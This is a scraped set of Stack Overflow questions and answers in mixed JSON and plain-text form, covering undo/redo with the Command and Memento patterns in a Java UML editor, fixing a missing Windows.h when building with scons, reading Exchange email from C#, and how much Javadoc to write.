<p>The thing is, how do I replace, in the diagram, the node with its clone upon undo/redo operation? If I clone the original object that is referenced by the diagram (being in the node list), the clone isn't reference in the diagram, and the only thing that points to is the Command itself! Shoud I include mechanisms in the diagram for finding a node according to an ID (for example) so I can replace, in the diagram, the node by its clone (and vice-versa) ? Is it up to the Memento and Command patterns to do that ? What about links? They should be movable too but I don't want to create a command just for links (and one just for nodes), and I should be able to modify the right list (nodes or links) according to the type of the object the command is referring to.</p>
<p>How would you proceed? In short, I am having trouble representing the state of an object in a command/memento pattern so that it can be efficiently recovered and the original object restored in the diagram list, and depending on the object type (node or link).</p>
<p>Thanks a lot!</p>
<p>Guillaume.</p>
<p>P.S.: if I'm not clear, tell me and I will clarify my message (as always!).</p>
<p><strong>Edit</strong></p>
<p>Here's my actual solution, that I started implementing before posting this question.</p>
<p>First, I have an AbstractCommand class defined as follow :</p>
<pre><code>public abstract class AbstractCommand {
public boolean blnComplete;
public void setComplete(boolean complete) {
this.blnComplete = complete;
}
public boolean isComplete() {
return this.blnComplete;
}
public abstract void execute();
public abstract void unexecute();
}
</code></pre>
<p>Then, each type of command is implemented using a concrete derivation of AbstractCommand.</p>
<p>So I have a command to move an object :</p>
<pre><code>public class MoveCommand extends AbstractCommand {
Moveable movingObject;
Point2D startPos;
Point2D endPos;
public MoveCommand(Point2D start) {
this.startPos = start;
}
public void execute() {
if(this.movingObject != null && this.endPos != null)
this.movingObject.moveTo(this.endPos);
}
public void unexecute() {
if(this.movingObject != null && this.startPos != null)
this.movingObject.moveTo(this.startPos);
}
public void setStart(Point2D start) {
this.startPos = start;
}
public void setEnd(Point2D end) {
this.endPos = end;
}
}
</code></pre>
<p>I also have a MoveRemoveCommand (to... move or remove an object/node). If I use the ID of instanceof method, I don't have to pass the diagram to the actual node or link so that it can remove itself from the diagram (which is a bad idea I think).</p>
<p>AbstractDiagram diagram;
Addable obj;
AddRemoveType type;</p>
<pre><code>@SuppressWarnings("unused")
private AddRemoveCommand() {}
public AddRemoveCommand(AbstractDiagram diagram, Addable obj, AddRemoveType type) {
this.diagram = diagram;
this.obj = obj;
this.type = type;
}
public void execute() {
if(obj != null && diagram != null) {
switch(type) {
case ADD:
this.obj.addToDiagram(diagram);
break;
case REMOVE:
this.obj.removeFromDiagram(diagram);
break;
}
}
}
public void unexecute() {
if(obj != null && diagram != null) {
switch(type) {
case ADD:
this.obj.removeFromDiagram(diagram);
break;
case REMOVE:
this.obj.addToDiagram(diagram);
break;
}
}
}
</code></pre>
<p>Finally, I have a ModificationCommand which is used to modify the info of a node or link (class name, etc.). This may be merged in the future with the MoveCommand. This class is empty for now. I will probably do the ID thing with a mechanism to determine if the modified object is a node or an edge (via instanceof or a special denotion in the ID).</p>
<p>Is this is a good solution?</p>
|
[
{
"answer_id": 211105,
"author": "Justin Bozonier",
"author_id": 9401,
"author_profile": "https://Stackoverflow.com/users/9401",
"pm_score": 3,
"selected": true,
"text": "<p>I think you just need to decompose your problem into smaller ones.</p>\n\n<p>First problem:\nQ: How to represent the steps in your app with the memento/command pattern?\nFirst off, I have no idea exactly how your app works but hopefully you will see where I am going with this. Say I want to place a ClassNode on the diagram that with the following properties </p>\n\n<pre><code>{ width:100, height:50, position:(10,25), content:\"Am I certain?\", edge-connections:null}\n</code></pre>\n\n<p>That would be wrapped up as a command object. Say that goes to a DiagramController. Then the diagram controller's responsibility can be to record that command (push onto a stack would be my bet) and pass the command to a DiagramBuilder for example. The DiagramBuilder would actually be responsible for updating the display.</p>\n\n<pre><code>DiagramController\n{\n public DiagramController(diagramBuilder:DiagramBuilder)\n {\n this._diagramBuilder = diagramBuilder;\n this._commandStack = new Stack();\n }\n\n public void Add(node:ConditionalNode)\n {\n this._commandStack.push(node);\n this._diagramBuilder.Draw(node);\n }\n\n public void Undo()\n {\n var node = this._commandStack.pop();\n this._diagramBuilderUndraw(node);\n }\n}\n</code></pre>\n\n<p>Some thing like that should do it and of course there will be plenty of details to sort out. By the way, the more properties your nodes have the more detailed Undraw is going to have to be.</p>\n\n<p>Using an id to link the command in your stack to the element drawn might be a good idea. That might look like this:</p>\n\n<pre><code>DiagramController\n{\n public DiagramController(diagramBuilder:DiagramBuilder)\n {\n this._diagramBuilder = diagramBuilder;\n this._commandStack = new Stack();\n }\n\n public void Add(node:ConditionalNode)\n {\n string graphicalRefId = this._diagramBuilder.Draw(node);\n var nodePair = new KeyValuePair<string, ConditionalNode> (graphicalRefId, node);\n this._commandStack.push(nodePair);\n }\n\n public void Undo()\n {\n var nodePair = this._commandStack.pop();\n this._diagramBuilderUndraw(nodePair.Key);\n }\n} \n</code></pre>\n\n<p>At this point you don't absolutely <em>have to have</em> the object since you have the ID but it will be helpful should you decide to also implement redo functionality. A good way to generate the id for your nodes would be to implement a hashcode method for them except for the fact that you wouldn't be guaranteed not to duplicate your nodes in such a way that would cause the hash code to be identical.</p>\n\n<p>The next part of the problem is within your DiagramBuilder because you're trying to figure out how the heck to deal with these commands. For that all I can say is to really just ensure you can create an inverse action for each type of component you can add. To handle the delinking you can look at the edge-connection property (links in your code I think) and notify each of the edge-connections that they are to disconnect from the specific node. I would assume that on disconnection they could redraw themselves appropriately.</p>\n\n<p>To kinda summarize, I would recommend not keeping a reference to your nodes in the stack but instead just a kind of token that represents a given node's state at that point. This will allow you to represent the same node in your undo stack at multiple places without it referring to the same object.</p>\n\n<p>Post if you've got Q's. This is a complex issue.</p>\n"
},
{
"answer_id": 5860868,
"author": "Programmer in Paradise",
"author_id": 205483,
"author_profile": "https://Stackoverflow.com/users/205483",
"pm_score": 1,
"selected": false,
"text": "<p>In my humble opinion, you're thinking it in a more complicated way than it really is. In order to revert to previous state, clone of whole node is not required at all. Rather each <em>*</em>*Command class will have -</p>\n\n<ol>\n<li>reference to the node it is acting upon, </li>\n<li>memento object (having state variables just enough for the node to revert to)</li>\n<li>execute() method </li>\n<li>undo() method.</li>\n</ol>\n\n<p>Since command classes have reference to the node, we do not need ID mechanism to refer to objects in the diagram.</p>\n\n<p>In the example from your question, we want to move a node to a new position. For that, we have a NodePositionChangeCommand class.</p>\n\n<pre><code>public class NodePositionChangeCommand {\n // This command will act upon this node\n private Node node;\n\n // Old state is stored here\n private NodePositionMemento previousNodePosition;\n\n NodePositionChangeCommand(Node node) {\n this.node = node;\n }\n\n public void execute(NodePositionMemento newPosition) {\n // Save current state in memento object previousNodePosition\n\n // Act upon this.node\n }\n\n public void undo() {\n // Update this.node object with values from this.previousNodePosition\n }\n}\n</code></pre>\n\n<blockquote>\n <blockquote>\n <p>What about links? They should be movable too but I don't want to create a command just for links (and one just for nodes).</p>\n </blockquote>\n</blockquote>\n\n<p>I read in GoF book (in memento pattern discussion) that move of link with change in position of nodes are handled by some kind of constraint solver.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211034",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10687/"
] |
I'm working on a small UML editor project, in Java, that I started a couple of months ago. After a few weeks, I got a working copy for a UML class diagram editor.
But now, I'm redesigning it completely to support other types of diagrams, such a sequence, state, class, etc. This is done by implementing a graph construction framework (I'm greatly inspired by Cay Horstmann work on the subject with the Violet UML editor).
Redesign was going smoothly until one of my friends told me that I forgot to add a Do/Undo functionnality to the project, which, in my opinion, is vital.
Remembering object oriented design courses, I immediately thought of Memento and Command pattern.
Here's the deal. I have a abstract class, AbstractDiagram, that contains two ArrayLists : one for storing nodes (called Elements in my project) and the other for storing Edges (called Links in my projects). The diagram will probably keep a stack of commands that can be Undoed/Redoed. Pretty standard.
How can I execute these commands in a efficient way? Say, for example, that I want to move a node (the node will be an interface type named INode, and there will be concrete nodes derived from it (ClassNode, InterfaceNode, NoteNode, etc.)).
The position information is held as an attribute in the node, so by modying that attribute in the node itself, the state is changed. When the display will be refreshed, the node will have moved. This is the Memento part of the pattern (I think), with the difference that the object is the state itself.
Moreover, if I keep a clone of the original node (before it moved), I can get back to its old version. The same technique applies for the information contained in the node (the class or interface name, the text for a note node, the attributes name, and so on).
The thing is, how do I replace, in the diagram, the node with its clone upon undo/redo operation? If I clone the original object that is referenced by the diagram (being in the node list), the clone isn't reference in the diagram, and the only thing that points to is the Command itself! Shoud I include mechanisms in the diagram for finding a node according to an ID (for example) so I can replace, in the diagram, the node by its clone (and vice-versa) ? Is it up to the Memento and Command patterns to do that ? What about links? They should be movable too but I don't want to create a command just for links (and one just for nodes), and I should be able to modify the right list (nodes or links) according to the type of the object the command is referring to.
How would you proceed? In short, I am having trouble representing the state of an object in a command/memento pattern so that it can be efficiently recovered and the original object restored in the diagram list, and depending on the object type (node or link).
Thanks a lot!
Guillaume.
P.S.: if I'm not clear, tell me and I will clarify my message (as always!).
**Edit**
Here's my actual solution, that I started implementing before posting this question.
First, I have an AbstractCommand class defined as follow :
```
public abstract class AbstractCommand {
public boolean blnComplete;
public void setComplete(boolean complete) {
this.blnComplete = complete;
}
public boolean isComplete() {
return this.blnComplete;
}
public abstract void execute();
public abstract void unexecute();
}
```
Then, each type of command is implemented using a concrete derivation of AbstractCommand.
So I have a command to move an object :
```
public class MoveCommand extends AbstractCommand {
Moveable movingObject;
Point2D startPos;
Point2D endPos;
public MoveCommand(Point2D start) {
this.startPos = start;
}
public void execute() {
if(this.movingObject != null && this.endPos != null)
this.movingObject.moveTo(this.endPos);
}
public void unexecute() {
if(this.movingObject != null && this.startPos != null)
this.movingObject.moveTo(this.startPos);
}
public void setStart(Point2D start) {
this.startPos = start;
}
public void setEnd(Point2D end) {
this.endPos = end;
}
}
```
I also have a MoveRemoveCommand (to... move or remove an object/node). If I use the ID of instanceof method, I don't have to pass the diagram to the actual node or link so that it can remove itself from the diagram (which is a bad idea I think).
AbstractDiagram diagram;
Addable obj;
AddRemoveType type;
```
@SuppressWarnings("unused")
private AddRemoveCommand() {}
public AddRemoveCommand(AbstractDiagram diagram, Addable obj, AddRemoveType type) {
this.diagram = diagram;
this.obj = obj;
this.type = type;
}
public void execute() {
if(obj != null && diagram != null) {
switch(type) {
case ADD:
this.obj.addToDiagram(diagram);
break;
case REMOVE:
this.obj.removeFromDiagram(diagram);
break;
}
}
}
public void unexecute() {
if(obj != null && diagram != null) {
switch(type) {
case ADD:
this.obj.removeFromDiagram(diagram);
break;
case REMOVE:
this.obj.addToDiagram(diagram);
break;
}
}
}
```
Finally, I have a ModificationCommand which is used to modify the info of a node or link (class name, etc.). This may be merged in the future with the MoveCommand. This class is empty for now. I will probably do the ID thing with a mechanism to determine if the modified object is a node or an edge (via instanceof or a special denotion in the ID).
Is this is a good solution?
|
I think you just need to decompose your problem into smaller ones.
First problem:
Q: How to represent the steps in your app with the memento/command pattern?
First off, I have no idea exactly how your app works but hopefully you will see where I am going with this. Say I want to place a ClassNode on the diagram that with the following properties
```
{ width:100, height:50, position:(10,25), content:"Am I certain?", edge-connections:null}
```
That would be wrapped up as a command object. Say that goes to a DiagramController. Then the diagram controller's responsibility can be to record that command (push onto a stack would be my bet) and pass the command to a DiagramBuilder for example. The DiagramBuilder would actually be responsible for updating the display.
```
DiagramController
{
public DiagramController(diagramBuilder:DiagramBuilder)
{
this._diagramBuilder = diagramBuilder;
this._commandStack = new Stack();
}
public void Add(node:ConditionalNode)
{
this._commandStack.push(node);
this._diagramBuilder.Draw(node);
}
public void Undo()
{
var node = this._commandStack.pop();
this._diagramBuilderUndraw(node);
}
}
```
Some thing like that should do it and of course there will be plenty of details to sort out. By the way, the more properties your nodes have the more detailed Undraw is going to have to be.
Using an id to link the command in your stack to the element drawn might be a good idea. That might look like this:
```
DiagramController
{
public DiagramController(diagramBuilder:DiagramBuilder)
{
this._diagramBuilder = diagramBuilder;
this._commandStack = new Stack();
}
public void Add(node:ConditionalNode)
{
string graphicalRefId = this._diagramBuilder.Draw(node);
var nodePair = new KeyValuePair<string, ConditionalNode> (graphicalRefId, node);
this._commandStack.push(nodePair);
}
public void Undo()
{
var nodePair = this._commandStack.pop();
this._diagramBuilderUndraw(nodePair.Key);
}
}
```
At this point you don't absolutely *have to have* the object since you have the ID but it will be helpful should you decide to also implement redo functionality. A good way to generate the id for your nodes would be to implement a hashcode method for them except for the fact that you wouldn't be guaranteed not to duplicate your nodes in such a way that would cause the hash code to be identical.
The next part of the problem is within your DiagramBuilder because you're trying to figure out how the heck to deal with these commands. For that all I can say is to really just ensure you can create an inverse action for each type of component you can add. To handle the delinking you can look at the edge-connection property (links in your code I think) and notify each of the edge-connections that they are to disconnect from the specific node. I would assume that on disconnection they could redraw themselves appropriately.
To kinda summarize, I would recommend not keeping a reference to your nodes in the stack but instead just a kind of token that represents a given node's state at that point. This will allow you to represent the same node in your undo stack at multiple places without it referring to the same object.
Post if you've got Q's. This is a complex issue.
|
211,035 |
<p>Today is officially my first day with C++ :P</p>
<p>I've downloaded Visual C++ 2005 Express Edition and Microsoft Platform SDK for Windows Server 2003 SP1, because I want to get my hands on the open source <a href="http://code.google.com/p/enso" rel="nofollow noreferrer">Enso Project</a>. </p>
<p>So, after installing scons I went to the console and tried to compile it using scons, but I got this error: </p>
<pre><code>C:\oreyes\apps\enso\enso-read-only\src\platform\win32\Include\WinSdk.h(64) : fatal error C1083: Cannot open include file: 'Windows.h': No such file or directory
scons: *** [src\platform\win32\InputManager\AsyncEventProcessorRegistry.obj] Error 2
scons: building terminated because of errors.
</code></pre>
<p>After checking these links:</p>
<p><a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1135164&SiteID=1" rel="nofollow noreferrer">VS ans PSDK</a></p>
<p><a href="https://stackoverflow.com/questions/160938/fatal-error-c1083-cannot-open-include-file-tiffioh-no-such-file-or-directory-vc#160957">Include tiffi.h</a></p>
<p><a href="https://stackoverflow.com/questions/80788/fatal-error-c1083-cannot-open-include-file-windowsh-no-such-file-or-directory#81226">Wndows.h</a></p>
<p>I've managed to configure my installation like this:</p>
<p><img src="https://i.stack.imgur.com/z41N8.png" alt="alt text"></p>
<p>And even run this script </p>
<p><img src="https://i.stack.imgur.com/1rB1L.png" alt="alt text"></p>
<p>And I managed to compile the file below in the IDE.</p>
<pre><code>// Test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
</code></pre>
<p>But I still get that exception in the console. Does anyone have scons experience?</p>
<p><strong>EDIT</strong></p>
<p>Actually (and I forgot to tell you this) I started the command prompt with the link "Visual Studio 2005 Command Prompt".</p>
<p>I assume this will include the paths in environment variables. Well after printing them I find that it didn't:</p>
<pre><code> echo %INCLUDE%
echo %LIB%
echo %PATH%
</code></pre>
<p>And they were not present, so I created this .bat file:</p>
<pre><code>set PATH=%PATH%;"C:\Program Files\Microsoft Platform SDK\Bin"
set INCLUDE=%INCLUDE%;"C:\ Program Files\Microsoft Platform SDK\Include"
set LIB=%LIB%;"C:\ Program Files\Microsoft Platform SDK\Lib"
</code></pre>
<p>Still, scons seeems not to take the vars... :( </p>
|
[
{
"answer_id": 211050,
"author": "Windows programmer",
"author_id": 23705,
"author_profile": "https://Stackoverflow.com/users/23705",
"pm_score": 0,
"selected": false,
"text": "<p>You show us how you configured Visual Studio for compilations within Visual Studio but you didn't show us what command line environment you tried. Sorry I haven't tried Express versions so I don't know if they create additional Start menu shortcuts like Pro and above do. If you open a suitable command prompt with its environment variables already set then you can compile on the command line. Otherwise you have to set variables yourself or execute a batch script to set them, each time you open a command prompt.</p>\n"
},
{
"answer_id": 211117,
"author": "Michael Burr",
"author_id": 12711,
"author_profile": "https://Stackoverflow.com/users/12711",
"pm_score": 2,
"selected": false,
"text": "<p>You need to set the include file path (and possibly other things). At the command line this is typically done using a batch file that Visual Studio installs called <code>vsvars32.bat</code> (or <code>vcvars32.bat</code> for compatibility with VC6).</p>\n\n<p>I'm not familiar with scons so I don't know the best way to get these settings configured for that tool, but for standard makefiles there's usually a line in the makefile which sets a macro variable with the include directory path and that macro is used as part of a command line parameter in the command that invokes the compiler.</p>\n\n<p>Another possibility might be to have the scons process invoke vsvars32.bat or run the scons script from a command line that has been configured with the batch file.</p>\n\n<p>In short you need to get the things that vsvars32.bat configures into the scons configuration somehow.</p>\n"
},
{
"answer_id": 211164,
"author": "jussij",
"author_id": 14738,
"author_profile": "https://Stackoverflow.com/users/14738",
"pm_score": 2,
"selected": false,
"text": "<p>There will be a batch file similar to this one (for MSVC 2005) that sets up the environment variables:</p>\n\n<pre><code>c:\\Program Files\\Microsoft Visual Studio 8\\Common7\\Tools\\vsvars32.bat\n</code></pre>\n\n<p><strong>Step 1</strong>: Find a similar file in the Express installation folders</p>\n\n<p><strong>Step 2</strong>: Create a shortcut on the desktop with these target details and a <em>suitably modified path</em>:</p>\n\n<pre><code>cmd.exe /K \"c:\\Program Files\\Microsoft Visual Studio 8\\Common7\\Tools\\vsvars32.bat\"\n</code></pre>\n\n<p><strong>Step 3:</strong> Open the DOS prompt via this shortcut</p>\n\n<p>The command line build should now work from within this console window.</p>\n"
},
{
"answer_id": 211189,
"author": "David Cournapeau",
"author_id": 11465,
"author_profile": "https://Stackoverflow.com/users/11465",
"pm_score": 4,
"selected": true,
"text": "<p>Using the above recommendations will not work with scons: scons does not import the user environment (PATH and other variables). The fundamental problem is that scons does not handle recent versions of SDKs/VS .</p>\n\n<p>I am an occasional contributor to scons, and am working on this feature ATM. Hopefully, it will be included soon in scons, but the feature is much harder to implement reliably than I first expected, partly because every sdk/compiler combination is different (and sometimes even MS does not get it right, some of their .bat files are broken), so I can't give you a date. I hope it will be included in 1.2 (to be released in approximatively one month).</p>\n"
},
{
"answer_id": 310001,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>It'll be nice when scons does this automatically. For now, I use this (run from an SDK command prompt, not sure if there is a difference if run after vsvars32.bat):</p>\n\n<pre><code>import os\nenv = Environment(ENV={'PATH': os.environ['PATH']})\n\nenv['ENV']['TMP'] = os.environ['TMP']\nenv.AppendUnique(CPPPATH=os.environ['INCLUDE'].split(';'))\nenv.AppendUnique(LIBPATH=os.environ['LIB'].split(';'))\n</code></pre>\n"
},
{
"answer_id": 528160,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>This works for me while compiling wxwidgets with Visual C++ 2005 Express using the command line prompt:</p>\n\n<pre><code>REM Fix Error error C1083 'windows.h'\n</code></pre>\n\n<p>(Use /useenv option when compiling.)</p>\n\n<pre><code>set PDSKWIN=C:\\Program Files\\Microsoft Platform SDK for Windows Server 2003 R2\n</code></pre>\n\n<p><strong>(Change to the right one.)</strong></p>\n\n<pre><code>set INCLUDE=%PDSKWIN%\\Include;%INCLUDE%\n\nset LIB=%PDSKWIN%\\Lib;%LIB%\n</code></pre>\n\n<p>Then I use this line when compiling. I believe just add <code>/useenv</code> to your lines and everything should work fine:</p>\n\n<pre><code>vcbuild /useenv /nohtmllog /nologo name.proj (or any file to compile)\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211035",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20654/"
] |
Today is officially my first day with C++ :P
I've downloaded Visual C++ 2005 Express Edition and Microsoft Platform SDK for Windows Server 2003 SP1, because I want to get my hands on the open source [Enso Project](http://code.google.com/p/enso).
So, after installing scons I went to the console and tried to compile it using scons, but I got this error:
```
C:\oreyes\apps\enso\enso-read-only\src\platform\win32\Include\WinSdk.h(64) : fatal error C1083: Cannot open include file: 'Windows.h': No such file or directory
scons: *** [src\platform\win32\InputManager\AsyncEventProcessorRegistry.obj] Error 2
scons: building terminated because of errors.
```
After checking these links:
[VS ans PSDK](http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1135164&SiteID=1)
[Include tiffi.h](https://stackoverflow.com/questions/160938/fatal-error-c1083-cannot-open-include-file-tiffioh-no-such-file-or-directory-vc#160957)
[Wndows.h](https://stackoverflow.com/questions/80788/fatal-error-c1083-cannot-open-include-file-windowsh-no-such-file-or-directory#81226)
I've managed to configure my installation like this:

And even run this script

And I managed to compile the file below in the IDE.
```
// Test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
```
But I still get that exception in the console. Does anyone have scons experience?
**EDIT**
Actually (and I forgot to tell you this) I started the command prompt with the link "Visual Studio 2005 Command Prompt".
I assume this will include the paths in environment variables. Well after printing them I find that it didn't:
```
echo %INCLUDE%
echo %LIB%
echo %PATH%
```
And they were not present, so I created this .bat file:
```
set PATH=%PATH%;"C:\Program Files\Microsoft Platform SDK\Bin"
set INCLUDE=%INCLUDE%;"C:\ Program Files\Microsoft Platform SDK\Include"
set LIB=%LIB%;"C:\ Program Files\Microsoft Platform SDK\Lib"
```
Still, scons seeems not to take the vars... :(
|
Using the above recommendations will not work with scons: scons does not import the user environment (PATH and other variables). The fundamental problem is that scons does not handle recent versions of SDKs/VS .
I am an occasional contributor to scons, and am working on this feature ATM. Hopefully, it will be included soon in scons, but the feature is much harder to implement reliably than I first expected, partly because every sdk/compiler combination is different (and sometimes even MS does not get it right, some of their .bat files are broken), so I can't give you a date. I hope it will be included in 1.2 (to be released in approximatively one month).
|
211,037 |
<p>Similar question as <a href="https://stackoverflow.com/questions/56722/automated-processing-of-an-email-in-java">this one</a> but for a Microsoft Environment.</p>
<p>Email --> Exchange Server -->[something]</p>
<p>For the [something] I was using Outlook 2003 & C# but it <em>feels</em> messy (A program is trying to access outlook, this could be a virus etc)</p>
<pre><code>Microsoft.Office.Interop.Outlook.Application objOutlook = new Microsoft.Office.Interop.Outlook.Application();
Microsoft.Office.Interop.Outlook.NameSpace objNS = objOutlook.GetNamespace("MAPI");
objNS.Logon("MAPIProfile", "MAPIPassword", false, true);
</code></pre>
<p>Is this the best way to do it? Is there a better way of retrieving and processing emails in a Microsoft environment???</p>
|
[
{
"answer_id": 211070,
"author": "Christian C. Salvadó",
"author_id": 5445,
"author_profile": "https://Stackoverflow.com/users/5445",
"pm_score": 2,
"selected": true,
"text": "<p><a href=\"http://www.codeproject.com/KB/IP/NetPopMimeClient.aspx\" rel=\"nofollow noreferrer\">This</a> library provides you basic support for the POP3 protocol and MIME, you can use it to check specified mailboxes and retrieve emails and attachments, you can tweak it to your needs.</p>\n\n<p>Here is <a href=\"http://www.codeproject.com/KB/IP/imaplibrary.aspx\" rel=\"nofollow noreferrer\">another library</a>, this one is for the IMAP protocol, it's very basic but also allows you to fetch complete messages, including attachments... </p>\n"
},
{
"answer_id": 211239,
"author": "Joe",
"author_id": 13087,
"author_profile": "https://Stackoverflow.com/users/13087",
"pm_score": 1,
"selected": false,
"text": "<p>I've been happy with the <a href=\"http://www.rebex.net/mail.net/\" rel=\"nofollow noreferrer\">Rebex components</a> which provide IMAP access. Of course you need to ensure your Exchange administrators will open an IMAP port on your Exchange servers. </p>\n"
},
{
"answer_id": 1808996,
"author": "Pawel Lesnikowski",
"author_id": 80894,
"author_profile": "https://Stackoverflow.com/users/80894",
"pm_score": 1,
"selected": false,
"text": "<p>Using IMAP is a way to go. You can use <a href=\"http://www.lesnikowski.com/mail/\" rel=\"nofollow noreferrer\">Mail.dll IMAP component</a>:</p>\n\n<pre><code>using(Imap imap = new Imap())\n{\n imap.Connect(\"imap.company.com\");\n imap.UseBestLogin(\"user\", \"password\");\n\n imap.SelectInbox();\n List<long> uids = imap.Search(Flag.Unseen);\n foreach (long uid in uids)\n {\n var eml = imap.GetMessageByUID(uid);\n IMail message = new MailBuilder()\n .CreateFromEml(eml);\n\n Console.WriteLine(message.Subject);\n Console.WriteLine(message.Text); \n }\n imap.Close(true);\n}\n</code></pre>\n\n<p>You can download it here: <a href=\"http://www.lesnikowski.com/mail/\" rel=\"nofollow noreferrer\">Mail.dll email component</a>.</p>\n"
},
{
"answer_id": 4152885,
"author": "Max Favilli",
"author_id": 395773,
"author_profile": "https://Stackoverflow.com/users/395773",
"pm_score": -1,
"selected": false,
"text": "<p>I am trying <a href=\"http://csharpopensource.com/openpopdotnet.aspx\" rel=\"nofollow\">http://csharpopensource.com/openpopdotnet.aspx</a>, it have been recently updated and it is not bad. It lack good documentation but it also work with gmail/ssl.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211037",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5188/"
] |
Similar question as [this one](https://stackoverflow.com/questions/56722/automated-processing-of-an-email-in-java) but for a Microsoft Environment.
Email --> Exchange Server -->[something]
For the [something] I was using Outlook 2003 & C# but it *feels* messy (A program is trying to access outlook, this could be a virus etc)
```
Microsoft.Office.Interop.Outlook.Application objOutlook = new Microsoft.Office.Interop.Outlook.Application();
Microsoft.Office.Interop.Outlook.NameSpace objNS = objOutlook.GetNamespace("MAPI");
objNS.Logon("MAPIProfile", "MAPIPassword", false, true);
```
Is this the best way to do it? Is there a better way of retrieving and processing emails in a Microsoft environment???
|
[This](http://www.codeproject.com/KB/IP/NetPopMimeClient.aspx) library provides you basic support for the POP3 protocol and MIME, you can use it to check specified mailboxes and retrieve emails and attachments, you can tweak it to your needs.
Here is [another library](http://www.codeproject.com/KB/IP/imaplibrary.aspx), this one is for the IMAP protocol, it's very basic but also allows you to fetch complete messages, including attachments...
|
211,041 |
<p>Should I be writing Doc Comments for all of my java methods? </p>
|
[
{
"answer_id": 211047,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 5,
"selected": false,
"text": "<p>I <em>thoroughly</em> document every public method in every API class. Classes which have public members but which are not intended for external consumption are prominently marked in the class javadoc. I also document every protected method in every API class, though to a lesser extent. This goes on the idea that any developer who is extending an API class will already have a fair concept of what's going on.</p>\n\n<p>Finally, I will occasionally document private and package private methods for my own benefit. Any method or field that I think needs some explanation in its usage will receive documentation, regardless of its visibility.</p>\n"
},
{
"answer_id": 211054,
"author": "tunaranch",
"author_id": 27708,
"author_profile": "https://Stackoverflow.com/users/27708",
"pm_score": 5,
"selected": false,
"text": "<p>If the method is, obviously self evident, I might skip a javadoc comment.</p>\n\n<p>Comments like</p>\n\n<pre>/** Does Foo */\n void doFoo();\n</pre>\n\n<p>Really aren't that useful. (Overly simplistic example, but you get the idea)</p>\n"
},
{
"answer_id": 211060,
"author": "VonC",
"author_id": 6309,
"author_profile": "https://Stackoverflow.com/users/6309",
"pm_score": 7,
"selected": true,
"text": "<p>@Claudiu</p>\n<blockquote>\n<p>When I write code that others will use - Yes. Every method that somebody else can use (any public method) should have a javadoc at least stating its obvious purpose.</p>\n</blockquote>\n<p>@Daniel Spiewak</p>\n<blockquote>\n<p>I thoroughly document every public method in every API class. Classes which have public members but which are not intended for external consumption are prominently marked in the class javadoc. I also document every protected method in every API class, though to a lesser extent. This goes on the idea that any developer who is extending an API class will already have a fair concept of what's going on.</p>\n<p>Finally, I will occasionally document private and package private methods for my own benefit. Any method or field that I think needs some explanation in its usage will receive documentation, regardless of its visibility.</p>\n</blockquote>\n<p>@Paul de Vrieze</p>\n<blockquote>\n<p>For things, like trivial getters and setters, share the comment between then and describe the purpose of the property, not of the getter/setter</p>\n</blockquote>\n<pre><code>/** \n * Get the current value of the foo property.\n * The foo property controls the initial guess used by the bla algorithm in\n * {@link #bla}\n * @return The initial guess used by {@link #bla}\n */\nint getFoo() {\n return foo;\n}\n</code></pre>\n<p>And yes, this is more work.</p>\n<p>@VonC</p>\n<p>When you break a huge complex method (because of <a href=\"https://stackoverflow.com/questions/105852/conditional-logging-with-minimal-cyclomatic-complexity\">high cyclomatic complexity</a> reason) into:</p>\n<ul>\n<li>one public method calling</li>\n<li>several private methods which represent internal steps of the public one</li>\n</ul>\n<p>, it is very useful to javadoc the private methods as well, even though that documentation will not be visible in the javadoc API files.<br />\nStill, it allows you to remember more easily the precise nature of the different steps of your complex algorithm.</p>\n<p>And remember: <strong><a href=\"https://stackoverflow.com/questions/61604\">limit values or boundary conditions</a></strong> should be part of your javadoc as well.</p>\n<p>Plus, <em><strong>javadoc is way better than simple "//comment"</strong></em>:</p>\n<ul>\n<li>It is recognized by IDE and used to display a pop-up when you move your cursor on top of one of your - javadoc-ed - function. For instance, a <em>constant</em> - that is private static final variable -, should have a javadoc, especially when its value is not trivial. Case in point: <em><strong>regexp</strong></em> (its javadoc should includes the regexp in its non-escaped form, what is purpose is and a literal example matched by the regexp)</li>\n<li>It can be parsed by external tools (like <a href=\"http://xdoclet.sourceforge.net/xdoclet/index.html\" rel=\"noreferrer\">xdoclet</a>)</li>\n</ul>\n<p>@Domci</p>\n<blockquote>\n<p>For me, if somebody will see it or not doesn't matter - it's not likely I'll know what some obscure piece of code I wrote does after a couple of months. [...]<br />\nIn short, comment logic, not syntax, and do it only once, on a proper place.</p>\n</blockquote>\n<p>@Miguel Ping</p>\n<blockquote>\n<p>In order to comment something, you have to understand it first. When you trying to comment a function, you are actually thinking of what the method/function/class does, and this makes you be more specific and clear in your javadoc, which in turn makes you write more clear and concise code, which is good.</p>\n</blockquote>\n"
},
{
"answer_id": 211129,
"author": "Marcus Tik",
"author_id": 23450,
"author_profile": "https://Stackoverflow.com/users/23450",
"pm_score": 2,
"selected": false,
"text": "<p>simply put: YES</p>\n\n<p>The time you need to think about whether you should write a doc,\nis better invested in writing a doc.</p>\n\n<p>Writing a one-liner is better than spending time for not documenting the method at all in the end.</p>\n"
},
{
"answer_id": 211198,
"author": "anjanb",
"author_id": 11142,
"author_profile": "https://Stackoverflow.com/users/11142",
"pm_score": 0,
"selected": false,
